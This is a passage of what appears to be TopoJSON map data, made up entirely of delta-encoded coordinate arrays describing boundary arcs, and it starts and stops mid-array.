197,-590],[72,-241],[157,74],[274,-92],[214,219],[223,-189],[251,-413],[-30,-210],[-219,66],[-404,-78],[-195,-168],[-204,-391],[-423,-229],[-277,-313],[-286,120],[-156,53],[-146,-381],[89,-227],[45,-195],[-194,-199],[-200,-316],[-324,-208],[-417,-22],[-448,-205],[-324,-318],[-123,184],[-336,-1],[-411,359],[-274,88],[-369,-82],[-574,133],[-306,-14],[-163,351],[-127,544],[-171,66],[-336,368],[-374,83],[-330,101],[-100,256],[107,690],[-192,476],[-396,222],[-233,313],[-73,413]],[[75742,63602],[-147,937],[-76,-2],[-46,-377],[-152,306],[86,336],[124,34],[128,500],[-160,101],[-257,-8],[-265,81],[-24,410],[-133,30],[-220,255],[-98,-401],[200,-313],[-173,-220],[-62,-215],[171,-159],[-47,-356],[96,-444],[43,-486]],[[74730,63611],[-39,-216],[-189,7],[-343,-122],[16,-445],[-148,-349],[-400,-398],[-311,-695],[-209,-373],[-276,-387],[-1,-271],[-138,-146],[-251,-212],[-129,-31],[-84,-450],[58,-769],[15,-490],[-118,-561],[-1,-1004],[-144,-29],[-126,-450],[84,-195],[-253,-168],[-93,-401],[-112,-170],[-263,552],[-128,827],[-107,596],[-97,279],[-148,568],[-69,739],[-48,369],[-253,811],[-115,1145],[-83,756],[1,716],[-54,553],[-404,-353],[-196,70],[-362,716],[133,214],[-82,232],[-326,501]],[[68937,64577],[185,395],[612,-2],[-56,507],[-156,300],[-31,455],[-182,265],[306,619],[323,-45],[290,620],[174,599],[270,593],[-4,421],[236,342],[-224,292],[-96,400],[-99,517],[137,255],[421,-144],[310,88],[268,496]],[[71621,71550],[298,-692],[-28,-482],[111,-303],[-9,-301],[-200,79],[78,-651],[273,-374],[386,-413]],[[72530,68413],[-176,-268],[-108,-553],[269,-224],[262,-289],[362,-332],[381,-76],[160,-301],[215,-56],[334,-138],[231,10],[32,234],[-36,375],[21,255]],[[74477,67050],[170,124],[23,-465]],[[74670,66709],[6,-119],[252,-224],[175,92],[234,-39],[227,17],[20,363],[-113,189]],[[75471,66988],[224,74],[252,439],[321,376],[233,-145],[198,249],[130,-367],[-94,-248],[300,-89]],[[75657,62792],[-79,308],[-16,301],[-53,285],[-116,344],[-256,23],[25,-243],[-87,-329],[-118,120],[-41,-108],[-78,65],[-108,53]],[[74670,66709],[184,439],[150,150],[198,-137],[147,-14],[122,-159]],[[72530,68413],[115,141],[223,-182],[280,-385],[157,-84],[93,-284],[216,-117],[225,-259],[314,-136],[324,-57]],[[68937,64577],[-203,150],[-83,424],[-215,450],[-512,-111],[-451,-11],[-391,-83]],[[67082,65396],[105,687],[400,305],[-23,272],[-133,96],[-7,520],[-266,260],[-112,357],[-137,310]],[[66909,68203],[465,-301],[278,88],[166,-75],[56,129],[194,-52],[361,246],[10,503],[154,334],[207,-1],[31,166],[212,77],[103,-55],[108,166],[-15,355],[118,356],[177,150],[-110,390],[265,-18],[76,213],[-12,227],[139,248],[-32,294],[-66,250],[163,258],[298,124],[319,68],[141,109],[162,67]],[[70877,72519],[205,-276],[82,-454],[457,-239]],[[68841,72526],[85,-72],[201,189],[93,-114],[90,271],[166,-12],[43,86],[29,239],[120,205],[150,-134],[-30,-181],[84,-28],[-26,-496],[110,-194],[97,125],[123,58],[173,265],[192,-44],[286,-1]],[[70827,72688],[50,-169]],[[66909,68203],[252,536],[-23,380],[-210,100],[-22,375],[-91,472],[119,323],[-121,87],[76,430],[113,736]],[[67002,71642],[284,-224],[209,79],[58,268],[219,89],[157,180],[55,472],[234,114],[44,211],[131,-158],[84,-19]],[[69725,74357],[-101,-182],[-303,98],[-26,-340],[301,46],[343,-192],[526,89]],[[70465,73876],[70,-546],[91,59],[169,-134],[-10,-230],[42,-337]],[[72294,75601],[-39,-134],[-438,-320],[-99,-234],[-356,-70],[-105,-378],[-294,80],[-192,-116],[-266,-279],[39,-138],[-79,-136]],[[67002,71642],[-24,498],[-207,21],[-318,523],[-221,65],[-308,299],[-197,55],[-122,-110],[-186,17],[-197,-338],[-244,-114]],[[64978,72558],[-52,417],[40,618],[-216,200],[71,405],[-184,34],[61,498],[262,-145],[244,189],[-202,355],[-80,338],[-224,-151],[-28,-433],[-87,383]],[[62436,72541],[-152,473],[55,183],[-87,678],[190,168]],[[62442,74043],[44,-223],[141,-273],[190,-78]],[[62817,73469],[101,17]],[[62918,73486],[327,436],[104,44],[82,-174],[-95,-292],[173,-309],[69,29]],[[63578,73220],[88,-436],[263,-123],[193,-296],[395,-102],[434,156],[27,139]],[[67082,65396],[-523,179],[-303,136],[-313,76],[-118,725],[-133,105],[-214,-106],[-280,-286],[-339,196],[-281,454],[-267,168],[-186,561],[-205,788],[-149,-96],[-177,196],[-104,-231]],[[59999,71049],[-26,452],[68,243]],[[60041,71744],[74,129],[75,130],[15,329],[91,-115],[306,165],[147,-112],[229,2],[320,222],[149,-10],[316,92]],[[62817,73469],[-113,342],[1,91],[-123,-2],[-82,159],[-58,-16]],[[62442,74043],[-109,172],[-207,147],[27,288],[-47,208]],[[62106,74858],[386,92]],[[62492,74950],[57,-155],[106,-103],[-56,-148],[148,-202],[-78,-189],[118,-160],[124,-97],[7,-410]],[[55734,91409],[371,-289],[433,-402],[8,-910],[93,-230]],[[56639,89578],[-478,-167],[-269,-413],[43,-361],[-441,-475],[-537,-509],[-202,-832],[198,-416],[265,-328],[-255,-666],[-289,-138],[-106,-992],[-157,-554],[-337,57],[-158,-468],[-321,-27],[-89,558],[-232,671],[-211,835]],[[58829,81362],[-239,-35],[-85,-129],[-18,-298],[-111,57],[-250,-28],[-73,138],[-104,-103],[-105,86],[-218,12],[-310,141],[-281,47],[-215,-14],[-152,-160],[-133,-23]],[[56535,81053],[-6,263],[-85,274],[166,121],[2,235],[-77,225],[-12,261]],[[56523,82432],[268,-4],[302,223],[64,333],[228,190],[-26,264]],[[57359,83438],[169,100],[298,228]],[[60617,78409],[-222,-48],[-185,-191],[-260,-31],[-239,-220],[14,-317]],[[59287,77741],[-38,64],[-432,149],[-19,221],[-257,-73],[-103,-325],[-215,-437]],[[58223,77340],[-126,101],[-131,-95],[-124,109]],[[57842,77455],[70,64],[49,203],[76,188],[-20,106],[58,47],[27,-81],[164,-18],[74,44],[-52,60],[19,88],[-97,150],[-40,247],[-101,97],[20,200],[-125,159],[-115,22],[-204,184],[-185,-58],[-66,-87]],[[57394,79070],[-118,0],[-69,-139],[-205,-56],[-95,-91],[-129,144],[-178,3],[-172,65],[-120,-127]],[[56308,78869],[-19,159],[-155,161]],[[56134,79189],[55,238],[77,154]],[[56266,79581],[60,-35],[-71,266],[252,491],[138,69],[29,166],[-139,515]],[[56266,79581],[-264,227],[-200,-84],[-131,61],[-165,-127],[-140,210],[-114,-81],[-16,36]],[[55236,79823],[-127,291],[-207,36],[-26,185],[-191,66],[-41,-153],[-151,122],[17,163],[-207,51],[-132,191]],[[54171,80775],[-114,377],[22,204],[-69,316],[-101,210],[77,158],[-64,300]],[[53922,82340],[189,174],[434,273],[350,200],[277,-100],[21,-144],[268,-7]],[[56314,82678],[142,-64],[67,-182]],[[54716,79012],[-21,-241],[-156,-2],[53,-128],[-92,-380]],[[54500,78261],[-53,-100],[-243,-14],[-140,-134],[-229,45]],[[53835,78058],[-398,153],[-62,205],[-274,-102],[-32,-113],[-169,84]],[[52900,78285],[-142,16],[-125,108],[42,145],[-10,104]],[[52665,78658],[83,33],[141,-164],[39,156],[245,-25],[199,106],[133,-18],[87,-121],[26,100],[-40,385],[100,75],[98,272]],[[53776,79457],[206,-190],[157,242],[98,44],[215,-180],[131,30],[128,-111]],[[54711,79292],[-23,-75],[28,-205]],[[56308,78869],[-170,-123],[-131,-401],[-168,-401],[-223,-111]],[[55616,77833],[-173,26],[-213,-155]],[[55230,77704],[-104,-89],[-229,114],[-208,253],[-88,73]],[[54601,78055],[-54,200],[-47,6]],[[54716,79012],[141,-151],[103,-65],[233,73],[22,118],[111,18],[135,92],[30,-38],[130,74],[66,139],[91,36],[297,-180],[59,61]],[[57842,77455],[-50,270],[30,252],[-9,259],[-160,352],[-89,249],[-86,175],[-84,58]],[[58223,77340],[6,-152],[-135,-128],[-84,56],[-78,-713]],[[57932,76403],[-163,62],[-202,215],[-327,-138],[-138,-150],[-408,31],[-213,92],[-108,-43],[-80,243]],[[56293,76715],[-51,103],[65,99],[-69,74],[-87,-133],[-162,172],[-22,244],[-169,139],[-31,188],[-151,232]],[[55907,83187],[-59,497]],[[55848,83684],[318,181],[466,-38],[273,59],[39,-123],[148,-38],[267,-287]],[[55848,83684],[10,445],[136,371],[262,202],[221,-442],[223,12],[53,453]],[[56753,84725],[237,105],[121,-73],[239,-219],[229,-1]],[[56753,84725],[32,349],[-102,-75],[-176,210],[-24,340],[351,164],[350,86],[301,-97],[287,17]],[[54171,80775],[-124,-62],[-73,68],[-70,-113],[-200,-114],[-103,-147],[-202,-129],[49,-176],[30,-249],[141,-142],[157,-254]],[[52665,78658],[-298,181],[-57,-128],[-236,4]],[[51718,79804],[16,259],[-56,133]],[[51678,80196],[32,400]],[[51710,80596],[-47,619],[167,0],[70,222],[69,541],[-51,200]],[[51918,82178],[54,125],[232,32],[52,-130],[188,291],[-63,222],[-13,335]],[[52368,83053],[210,-78],[178,90]],[[52756,83065],[4,-228],[281,-138],[-3,-210],[283,111],[156,162],[313,-233],[132,-189]],[[57932,76403],[-144,-245],[-101,-422],[89,-337]],[[57776,75399],[-239,79],[-283,-186]],[[57254,75292],[-3,-294],[-252,-56],[-196,206],[-222,-162],[-206,17]],[[56375,75003],[-20,391],[-139,189]],[[56216,75583],[46,84],[-30,70],[47,188],[105,185],[-135,255],[-24,216],[68,134]],[[57302,71436],[-35,-175],[-400,-50],[3,98],[-339,115],[52,251],[152,-199],[216,34],[207,-42],[-7,-103],[151,71]],[[57254,75292],[135,-157],[-86,-369],[-66,-67]],[[57237,74699],[-169,17],[-145,56],[-336,-154],[192,-332],[-141,-96],[-154,-1],[-147,305],[-52,-130],[62,-353],[139,-277],[-105,-129],[155,-273],[137,-171],[4,-334],[-257,157],[82,-302],[-176,-62],[105,-521],[-184,-8],[-228,257],[-104,473],[-49,393],[-108,272],[-143,337],[-18,168]],[[55597,73991],[129,287],[16,192],[91,85],[5,155]],[[55838,74710],[182,53],[106,129],[150,-12],[46,103],[53,20]],[[60041,71744],[-102,268],[105,222],[-169,-51],[-233,136],[-191,-340],[-421,-66],[-225,317],[-300,20],[-64,-245],[-192,-70],[-268,314],[-303,-11],[-165,588],[-203,328],[135,459],[-176,283],[308,565],[428,23],[117,449],[529,-78],[334,383],[324,167],[459,13],[485,-417],[399,-228],[323,91],[239,-53],[328,309]],[[61542,75120],[296,28],[268,-290]],[[57776,75399],[33,-228],[243,-190],[-51,-145],[-330,-33],[-118,-182],[-232,-319],[-87,276],[3,121]],[[55597,73991],[-48,41],[-5,130],[-154,199],[-24,281],[23,403],[38,184],[-47,93]],[[55380,75322],[-18,188],[120,291],[18,-111],[75,52]],[[55575,75742],[59,-159],[66,-60],[19,-214]],[[55719,75309],[-35,-201],[39,-254],[115,-144]],[[55230,77704],[67,-229],[89,-169],[-107,-222]],[[55279,77084],[-126,131],[-192,-8],[-239,98],[-130,-13],[-60,-123],[-99,136],[-59,-245],[136,-277],[61,-183],[127,-221],[106,-130],[105,-247],[246,-224]],[[55155,75778],[-31,-100]],[[55124,75678],[-261,218],[-161,213],[-254,176],[-233,434],[56,45],[-127,248],[-5,200],[-179,93],[-85,-255],[-82,198],[6,205],[10,9]],[[53809,77462],[194,-20],[51,100],[94,-97],[109,-11],[-1,165],[97,60],[27,239],[221,157]],[[52900,78285],[-22,-242],[-122,-100],[-206,75],[-60,-239],[-132,-19],[-48,94],[-156,-200],[-134,-28],[-120,126]],[[51576,79843],[30,331],[72,22]],[[50698,80799],[222,117]],[[50920,80916],[204,-47],[257,123],[176,-258],[153,-138]],[[50920,80916],[143,162],[244,869],[380,248],[231,-17]],[[47490,75324],[101,150],[113,86],[70,-289],[164,0],[47,75],[162,-21],[78,-296],[-129,-160],[-3,-461],[-45,-86],[-11,-280],[-120,-48],[111,-355],[-77,-388],[96,-175],[-38,-161],[-103,-222],[23,-195]],[[47929,72498],[-112,-153],[-146,83],[-143,-65],[42,462],[-26,363],[-124,55],[-67,224],[22,386],[111,215],[20,239],[58,355],[-6,250],[-56,212],[-12,200]],[[47490,75324],[14,420],[-114,257],[393,426],[340,-106],[373,3],[296,-101],[230,31],[449,-19]],[[50829,75674],[15,-344],[-263,-393],[-356,-125],[-25,-199],[-171,-327],[-107,-481],[108,-338],[-160,-263],[-60,-384],[-210,-118],[-197,-454],[-352,-9],[-265,11],[-174,-209],[-106,-223],[-136,49],[-103,199],[-79,340],[-259,92]],[[48278,82406],[46,-422],[-210,-528],[-493,-349],[-393,89],[225,617],[-145,601],[378,463],[210,276]],[[47896,83153],[57,-317],[-57,-317],[172,9],[210,-122]],[[96049,38125],[228,-366],[144,-272],[-105,-142],[-153,160],[-199,266],[-179,313],[-184,416],[-38,201],[119,-9],[156,-201],[122,-200],[89,-166]],[[95032,44386],[78,-203],[-194,4],[-106,363],[166,-142],[56,-22]],[[94910,44908],[-42,-109],[-206,512],[-57,353],[94,0],[100,-473],[111,-283]],[[94680,44747],[-108,-14],[-170,60],[-58,91],[17,235],[183,-93],[91,-124],[45,-155]],[[94344,45841],[65,-187],[12,-119],[-218,251],[-152,212],[-104,197],[41,60],[128,-142],[228,-272]],[[93649,46431],[111,-193],[-56,-33],[-121,134],[-114,243],[14,99],[166,-250]],[[99134,26908],[-105,-319],[-138,-404],[-214,-236],[-48,155],[-116,85],[160,486],[-91,326],[-299,236],[8,214],[201,206],[47,455],[-13,382],[-113,396],[8,104],[-133,244],[-218,523],[-117,418],[104,46],[151,-328],[216,-153],[78,-526],[202,-622],[5,403],[126,-161],[41,-447],[224,-192],[188,-48],[158,226],[141,-69],[-67,-524],[-85,-345],[-212,12],[-74,-179],[26,-254],[-41,-110]],[[97129,24846],[238,310],[167,306],[123,441],[106,149],[41,330],[195,273],[61,-251],[63,-244],[198,239],[80,-249],[0,-249],[-103,-274],[-182,-435],[-142,-238],[103,-284],[-214,-7],[-238,-223],[-75,-387],[-157,-597],[-219,-264],[-138,-169],[-256,13],[-180,194],[-302,42],[-46,217],[149,438],[349,583],[179,111],[200,225]],[[91024,26469],[166,-39],[20,-702],[-95,-203],[-29,-476],[-97,162],[-193,-412],[-57,32],[-171,19],[-171,505],[-38,390],[-160,515],[7,271],[181,-52],[269,-204],[151,81],[217,113]],[[85040,31546],[-294,-303],[-241,-137],[-53,-309],[-103,-240],[-236,-15],[-174,-52],[-246,107],[-199,-64],[-191,-27],[-165,-315],[-81,26],[-140,-167],[-133,-187],[-203,23],[-186,0],[-295,377],[-149,113],[6,338],[138,81],[47,134],[-10,212],[34,411],[-31,350],[-147,598],[-45,337],[12,336],[-111,385],[-7,174],[-123,235],[-35,463],[-158,467],[-39,252],[122,-255],[-93,548],[137,-171],[83,-229],[-5,303],[-138,465],[-26,186],[-65,177],[31,341],[56,146],[38,295],[-29,346],[114,425],[21,-450],[118,406],[225,198],[136,252],[212,217],[126,46],[77,-73],[219,220],[168,66],[42,129],[74,54],[153,-14],[292,173],[151,262],[71,316],[163,300],[13,236],[7,321],[194,502],[117,-510],[119,118],[-99,279],[87,287],[122,-128],[34,449],[152,291],[67,233],[140,101],[4,165],[122,-69],[5,148],[122,85],[134,80],[205,-271],[155,-350],[173,-4],[177,-56],[-59,325],[133,473],[126,155],[-44,147],[121,338],[168,208],[142,-70],[234,111],[-5,302],[-204,195],[148,86],[184,-147],[148,-242],[234,-151],[79,60],[172,-182],[162,169],[105,-51],[65,113],[127,-292],[-74,-316],[-105,-239],[-96,-20],[32,-236],[-81,-295],[-99,-291],[20,-166],[221,-327],[214,-189],[143,-204],[201,-350],[78,1],[145,-151],[43,-183],[265,-200],[183,202],[55,317],[56,262],[34,324],[85,470],[-39,286],[20,171],[-32,339],[37,445],[53,120],[-43,197],[67,313],[52,325],[7,168],[104,222],[78,-289],[19,-371],[70,-71],[11,-249],[101,-300],[21,-335],[-10,-214],[100,-464],[179,223],[92,-250],[133,-231],[-29,-262],[60,-506],[42,-295],[70,-72],[75,-505],[-27,-307],[90,-400],[301,-309],[197,-281],[186,-257],[-37,-143],[159,-371],[108,-639],[111,130],[113,-256],[68,91],[48,-626],[197,-363],[129,-226],[217,-478],[78,-475],[7,-337],[-19,-365],[132,-502],[-16,-523],[-48,-274],[-75,-527],[6,-339],[-55,-423],[-123,-538],[-205,-290],[-102,-458],[-93,-292],[-82,-510],[-107,-294],[-70,-442],[-36,-407],[14,-187],[-159,-205],[-311,-22],[-257,-242],[-127,-229],[-168,-254],[-230,262],[-170,104],[43,308],[-152,-112],[-243,-428],[-240,160],[-158,94],[-159,42],[-269,171],[-179,364],[-52,449],[-64,298],[-137,240],[-267,71],[91,287],[-67,438],[-136,-408],[-247,-109],[146,327],[42,341],[107,289],[-22,438],[-226,-504],[-174,-202],[-106,-470],[-217,243],[9,313],[-174,429],[-147,221],[52,137],[-356,358],[-195,17],[-267,287],[-498,-56],[-359,-211],[-317,-197],[-265,39]],[[72718,55024],[-42,-615],[-116,-168],[-242,-135],[-132,470],[-49,849],[126,959],[192,-328],[129,-416],[134,-616]],[[80409,61331],[-228,183],[-8,509],[137,267],[304,166],[159,-14],[62,-226],[-122,-260],[-64,-341],[-240,-284]],[[84517,74170],[-388,-171],[-204,-277],[-300,-161],[148,274],[-58,230],[220,397],[-147,310],[-242,-209],[-314,-411],[-171,-381],[-272,-29],[-142,-275],[147,-400],[227,-97],[9,-265],[220,-173],[311,422],[247,-230],[179,-15],[45,-310],[-393,-165],[-130,-319],[-270,-296],[-142,-414],[299,-325],[109,-581],[169,-541],[189,-454],[-5,-439],[-174,-161],[66,-315],[164,-184],[-43,-481],[-71,-468],[-155,-53],[-203,-640],[-225,-775],[-258,-705],[-382,-545],[-386,-498],[-313,-68],[-170,-262],[-96,192],[-157,-294],[-388,-296],[-294,-90],[-95,-624],[-154,-35],[-73,429],[66,228],[-373,189],[-131,-96]],[[83826,64992],[-167,-947],[-119,-485],[-146,499],[-32,438],[163,581],[223,447],[127,-176],[-49,-357]],[[53835,78058],[-31,-291],[67,-251]],[[53871,77516],[-221,86],[-226,-210],[15,-293],[-34,-168],[91,-301],[261,-298],[140,-488],[309,-476],[217,3],[68,-130],[-78,-118],[249,-214],[204,-178],[238,-308],[29,-111],[-52,-211],[-154,276],[-242,97],[-116,-382],[200,-219],[-33,-309],[-116,-35],[-148,-506],[-116,-46],[1,181],[57,317],[60,126],[-108,342],[-85,298],[-115,74],[-82,255],[-179,107],[-120,238],[-206,38],[-217,267],[-254,384],[-189,340],[-86,585],[-138,68],[-226,195],[-128,-80],[-161,-274],[-115,-43]],[[54100,73116],[211,51],[-100,-465],[41,-183],[-58,-303],[-213,222],[-141,64],[-387,300],[38,304],[325,-54],[284,64]],[[52419,74744],[139,183],[166,-419],[-39,-782],[-126,38],[-113,-197],[-105,156],[-11,713],[-64,338],[153,-30]],[[52368,83053],[-113,328],[-8,604],[46,159],[80,177],[244,37],[98,163],[223,167],[-9,-304],[-82,-192],[33,-166],[151,-89],[-68,-223],[-83,64],[-200,-425],[76,-288]],[[53436,83731],[88,-296],[-166,-478],[-291,333],[-39,246],[408,195]],[[47896,83153],[233,24],[298,-365],[-149,-406]],[[49140,82132],[1,0],[40,343],[-186,364],[-4,8],[-337,104],[-66,160],[101,264],[-92,163],[-149,-279],[-17,569],[-140,301],[101,611],[216,480],[222,-47],[335,49],[-297,-639],[283,81],[304,-3],[-72,-481],[-250,-530],[287,-38],[22,-62],[248,-697],[190,-95],[171,-673],[79,-233],[337,-113],[-34,-378],[-142,-173],[111,-305],[-250,-310],[-371,6],[-473,-163],[-130,116],[-183,-276],[-257,67],[-195,-226],[-148,118],[407,621],[249,127],[-2,1],[-434,98],[-79,235],[291,183],[-152,319],[52,387],[413,-54]],[[45969,89843],[-64,-382],[314,-403],[-361,-451],[-801,-405],[-240,-107],[-365,87],[-775,187],[273,261],[-605,289],[492,114],[-12,174],[-583,137],[188,385],[421,87],[433,-400],[422,321],[349,-167],[453,315],[461,-42]],[[63495,75281],[146,-311],[141,-419],[130,-28],[85,-159],[-228,-47],[-49,-459],[-48,-207],[-101,-138],[7,-293]],[[62492,74950],[68,96],[207,-169],[149,-36],[38,70],[-136,319],[72,82]],[[61542,75120],[42,252],[-70,403],[-160,218],[-154,68],[-102,181]],[[83564,58086],[-142,450],[238,-22],[97,-213],[-74,-510],[-119,295]],[[84051,56477],[70,165],[30,367],[153,35],[-44,-398],[205,570],[-26,-563],[-100,-195],[-87,-373],[-87,-175],[-171,409],[57,158]],[[85104,55551],[28,-392],[16,-332],[-94,-540],[-102,602],[-130,-300],[89,-435],[-79,-277],[-327,343],[-78,428],[84,280],[-176,280],[-87,-245],[-131,23],[-205,-330],[-46,173],[109,498],[175,166],[151,223],[98,-268],[212,162],[45,264],[196,15],[-16,457],[225,-280],[23,-297],[20,-218]],[[82917,56084],[-369,-561],[136,414],[200,364],[167,409],[146,587],[49,-482],[-183,-325],[-146,-406]],[[83982,61347],[-46,-245],[95,-423],[-73,-491],[-164,-196],[-43,-476],[62,-471],[147,-65],[123,70],[347,-328],[-27,-321],[91,-142],[-29,-272],[-216,290],[-103,310],[-71,-217],[-177,354],[-253,-87],[-138,130],[14,244],[87,151],[-83,136],[-36,-213],[-137,340],[-41,257],[-11,566],[112,-195],[29,925],[90,535],[169,-1],[171,-168],[85,153],[26,-150]],[[83899,57324],[-43,282],[166,-183],[177,1],[-5,-247],[-129,-251],[-176,-178],[-10,275],[20,301]],[[84861,57766],[78,-660],[-214,157],[5,-199],[68,-364],[-132,-133],[-11,416],[-84,31],[-43,357],[163,-47],[-4,224],[-169,451],[266,-13],[77,-220]],[[78372,54256],[64,-56],[164,-356],[116,-396],[16,-398],[-29,-269],[27,-203],[20,-349],[98,-163],[109,-523],[-5,-199],[-197,-40],[-263,438],[-329,469],[-32,301],[-161,395],[-38,489],[-100,322],[30,431],[-61,250]],[[80461,51765],[204,-202],[214,110],[56,500],[119,112],[333,128],[199,467],[137,374]],[[81723,53254],[126,-307],[58,202],[133,-19],[16,377],[13,291]],[[82069,53798],[214,411],[140,462],[112,2],[143,-299],[13,-257],[183,-165],[231,-177],[-20,-232],[-186,-29],[50,-289],[-205,-201]],[[81723,53254],[110,221],[236,323]],[[53809,77462],[62,54]],[[57797,86326],[-504,-47],[-489,-216],[-452,-125],[-161,323],[-269,193],[62,582],[-135,533],[133,345],[252,371],[635,640],[185,124],[-28,250],[-387,279]],[[54711,79292],[39,130],[123,-10],[95,61],[7,55],[54,28],[18,134],[64,26],[43,106],[82,1]],[[60669,61213],[161,-684],[77,-542],[152,-288],[379,-558],[154,-336],[151,-341],[87,-203],[136,-178]],[[61966,58083],[-83,-144],[-119,51]],[[61764,57990],[-95,191],[-114,346],[-124,190],[-71,204],[-242,237],[-191,7],[-67,124],[-163,-139],[-168,268],[-87,-441],[-323,124]],[[89411,73729],[-256,-595],[4,-610],[-104,-472],[48,-296],[-145,-416],[-355,-278],[-488,-36],[-396,-675],[-186,227],[-12,442],[-483,-130],[-329,-279],[-325,-11],[282,-435],[-186,-1004],[-179,-248],[-135,229],[69,533],[-176,172],[-113,405],[263,182],[145,371],[280,306],[203,403],[553,177],[297,-121],[291,1050],[185,-282],[408,591],[158,229],[174,723],[-47,664],[117,374],[295,108],[152,-819],[-9,-479]],[[90169,76553],[197,250],[62,-663],[-412,-162],[-244,-587],[-436,404],[-152,-646],[-308,-9],[-39,587],[138,455],[296,33],[81,817],[83,460],[326,-615],[213,-198],[195,-126]],[[86769,70351],[154,352],[158,-68],[114,248],[204,-127],[35,-203],[-156,-357],[-114,189],[-143,-137],[-73,-346],[-181,168],[2,281]],[[64752,60417],[-201,-158],[-54,-263],[-6,-201],[-277,-249],[-444,-276],[-249,-417],[-122,-33],[-83,35],[-163,-245],[-177,-114],[-233,-30],[-70,-34],[-61,-156],[-73,-43],[-43,-150],[-137,13],[-89,-80],[-192,30],[-72,345],[8,323],[-46,174],[-54,437],[-80,243],[56,29],[-29,270],[34,114],[-12,257]],[[61883,60238],[121,189],[-28,249],[74,290],[114,-153],[75,53],[321,14],[50,-59],[269,-60],[106,30],[70,-197],[130,99],[199,620],[259,266],[801,226]],[[63448,67449],[109,-510],[137,-135],[47,-207],[190,-249],[16,-243],[-27,-197],[35,-199],[80,-165],[37,-194],[41,-145]],[[64274,65130],[53,-226]],[[61883,60238],[-37,252],[-83,178],[-22,236],[-143,212],[-148,495],[-79,482],[-192,406],[-124,97],[-184,563],[-32,411],[12,350],[-159,655],[-130,231],[-150,122],[-92,339],[15,133],[-77,306],[-81,132],[-108,440],[-170,476],[-141,406],[-139,-3],[44,325],[12,206],[34,236]],[[36483,4468],[141,0],[414,127],[419,-127],[342,-255],[120,-359],[33,-254],[11,-301],[-430,-186],[-452,-150],[-522,-139],[-582,-116],[-658,35],[-365,197],[49,243],[593,162],[239,197],[174,254],[126,220],[168,209],[180,243]],[[31586,3163],[625,-23],[599,-58],[207,243],[147,208],[288,-243],[-82,-301],[-81,-266],[-582,81],[-621,-35],[-348,197],[0,23],[-152,174]],[[29468,8472],[190,70],[321,-23],[82,301],[16,219],[-6,475],[158,278],[256,93],[147,-220],[65,-220],[120,-267],[92,-254],[76,-267],[33,-266],[-49,-231],[-76,-220],[-326,-81],[-311,-116],[-364,11],[136,232],[-327,-81],[-310,-81],[-212,174],[-16,243],[305,231]],[[21575,8103],[174,104],[353,-81],[403,-46],[305,-81],[304,69],[163,-335],[-217,46],[-337,-23],[-343,23],[-376,-35],[-283,116],[-146,243]],[[15938,7061],[60,197],[332,-104],[359,-93],[332,104],[-158,-208],[-261,-151],[-386,47],[-278,208]],[[14643,7177],[202,127],[277,-139],[425,-231],[-164,23],[-359,58],[-381,162]],[[4524,4144],[169,220],[517,-93],[277,-185],[212,-209],[76,-266],[-533,-81],[-364,208],[-163,209],[-11,35],[-180,162]],[[0,529],[16,-5],[245,344],[501,-185],[32,21],[294,188],[38,-7],[32,-4],[402,-246],[352,246],[63,34],[816,104],[265,-138],[130,-71],[419,-196],[789,-151],[625,-185],[1072,-139],[800,162],[1181,-116],[669,-185],[734,174],[773,162],[60,278],[-1094,23],[-898,139],[-234,231],[-745,128],[49,266],[103,243],[104,220],[-55,243],[-462,162],[-212,209],[-430,185],[675,-35],[642,93],[402,-197],[495,173],[457,220],[223,197],[-98,243],[-359,162],[-408,174],[-571,35],[-500,81],[-539,58],[-180,220],[-359,185],[-217,208],[-87,672],[136,-58],[250,-185],[457,58],[441,81],[228,-255],[441,58],[370,127],[348,162],[315,197],[419,58],[-11,220],[-97,220],[81,208],[359,104],[163,-196],[425,115],[321,151],[397,12],[375,57],[376,139],[299,128],[337,127],[218,-35],[190,-46],[414,81],[370,-104],[381,11],[364,81],[375,-57],[414,-58],[386,23],[403,-12],[413,-11],[381,23],[283,174],[337,92],[349,-127],[331,104],[300,208],[179,-185],[98,-208],[180,-197],[288,174],[332,-220],[375,-70],[321,-162],[392,35],[354,104],[418,-23],[376,-81],[381,-104],[147,254],[-180,197],[-136,209],[-359,46],[-158,220],[-60,220],[-98,440],[213,-81],[364,-35],[359,35],[327,-93],[283,-174],[119,-208],[376,-35],[359,81],[381,116],[342,70],[283,-139],[370,46],[239,451],[224,-266],[321,-104],[348,58],[228,-232],[365,-23],[337,-69],[332,-128],[218,220],[108,209],[278,-232],[381,58],[283,-127],[190,-197],[370,58],[288,127],[283,151],[337,81],[392,69],[354,81],[272,127],[163,186],[65,254],[-32,244],[-87,231],[-98,232],[-87,231],[-71,209],[-16,231],[27,232],[130,220],[109,243],[44,231],[-55,255],[-32,232],[136,266],[152,173],[180,220],[190,186],[223,173],[109,255],[152,162],[174,151],[267,34],[174,186],[196,115],[228,70],[202,150],[157,186],[218,69],[163,-151],[-103,-196],[-283,-174],[-120,-127],[-206,92],[-229,-58],[-190,-139],[-202,-150],[-136,-174],[-38,-231],[17,-220],[130,-197],[-190,-139],[-261,-46],[-153,-197],[-163,-185],[-174,-255],[-44,-220],[98,-243],[147,-185],[229,-139],[212,-185],[114,-232],[60,-220],[82,-232],[130,-196],[82,-220],[38,-544],[81,-220],[22,-232],[87,-231],[-38,-313],[-152,-243],[-163,-197],[-370,-81],[-125,-208],[-169,-197],[-419,-220],[-370,-93],[-348,-127],[-376,-128],[-223,-243],[-446,-23],[-489,23],[-441,-46],[-468,0],[87,-232],[424,-104],[311,-162],[174,-208],[-310,-185],[-479,58],[-397,-151],[-17,-243],[-11,-232],[327,-196],[60,-220],[353,-220],[588,-93],[500,-162],[398,-185],[506,-186],[690,-92],[681,-162],[473,-174],[517,-197],[272,-278],[136,-220],[337,209],[457,173],[484,186],[577,150],[495,162],[691,12],[680,-81],[560,-139],[180,255],[386,173],[702,12],[550,127],[522,128],[577,81],[614,104],[430,150],[-196,209],[-119,208],[0,220],[-539,-23],[-571,-93],[-544,0],[-77,220],[39,440],[125,128],[397,138],[468,139],[337,174],[337,174],[251,231],[380,104],[376,81],[190,47],[430,23],[408,81],[343,116],[337,139],[305,139],[386,185],[245,197],[261,173],[82,232],[-294,139],[98,243],[185,185],[288,116],[305,139],[283,185],[217,232],[136,277],[202,163],[331,-35],[136,-197],[332,-23],[11,220],[142,231],[299,-58],[71,-220],[331,-34],[360,104],[348,69],[315,-34],[120,-243],[305,196],[283,105],[315,81],[310,81],[283,139],[310,92],[240,128],[168,208],[207,-151],[288,81],[202,-277],[157,-209],[316,116],[125,232],[283,162],[365,-35],[108,-220],[229,220],[299,69],[326,23],[294,-11],[310,-70],[300,-34],[130,-197],[180,-174],[